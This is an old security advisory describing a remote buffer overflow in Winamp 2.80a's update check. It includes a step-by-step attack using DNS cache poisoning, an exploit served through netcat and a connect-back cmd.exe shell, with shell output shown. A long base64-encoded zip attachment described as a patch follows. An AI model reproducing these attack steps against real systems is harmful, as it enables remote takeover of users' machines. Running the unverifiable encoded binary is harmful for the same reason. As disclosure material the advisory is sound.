|
COMMAND Winamp remote buffer overflow (and takeover) SYSTEMS AFFECTED Winamp 2.80a and all previous PROBLEM In 2c79cbe14ac7d0b8472d3f129fa1df55 Security Advisory Número Dos : Winamp has an option, enabled by default, which checks on startup for the latest version from www.winamp.com and will then notify the user of a possible upgrade via messagebox.. Unfortunately, if it were to receive a huge response, the thread parsing the data is thrown into an infinite loop and eventually the exception dispatcher is called.. and then like most of the time under windows, a big, bad, overflow occurs.. Sample attack ============= Nameserver - 192.168.0.1 attacker - 192.168.1.2 victim (windows machine) - 192.168.0.2 1) attacker poisons nameserver cache 192.168.1.2: x@x:~$ ./p0ison 192.168.0.1 www.winamp.com 192.168.1.2 2) victim is now resolving www.winamp.com to attacker machine 192.168.0.2: C:>nslookup www.winamp.com Server: z3.names.int Address: 192.168.0.1 Name: www.winamp.com Address: 192.168.1.2 3) attacker fires up exploit as web daemon 192.168.1.2: x@x:~$ (./wampexp 192.168.1.2 5555)|nc -l -p 80 4) attacker waits for connect-back by exploit 192.168.1.2: x@x:~$ nc -l -p 5555 5) foolish winamp user opens winamp! 192.168.0.2: opens winamp, prepares for The Weather Girls - It\'s Raining Men.mp3 6) BOOJAH!@ 192.168.1.2: x@x:~$ nc -l -p 5555 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:> --------------------------------------------------- Attached is the exploit for windows 2000 which will spawn a connect-back cmd.exe to the user, and will be completely transparent.. winamp will function as normal even when cmd.exe terminates as we are just exiting that current thread. Exploit (code follows) ======= Also included a simple patch which just hardcodes 205.188.245.120 in place of www.winamp.com.. no loss of functionality, so you will get a nice messagebox when winamp 2.80b is released ;> Content-Type: application/zip; name=\"wapatch.zip\" Content-Transfer-Encoding: base64 Content-Description: wapatch.zip Content-Disposition: attachment; filename=\"wapatch.zip\" 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 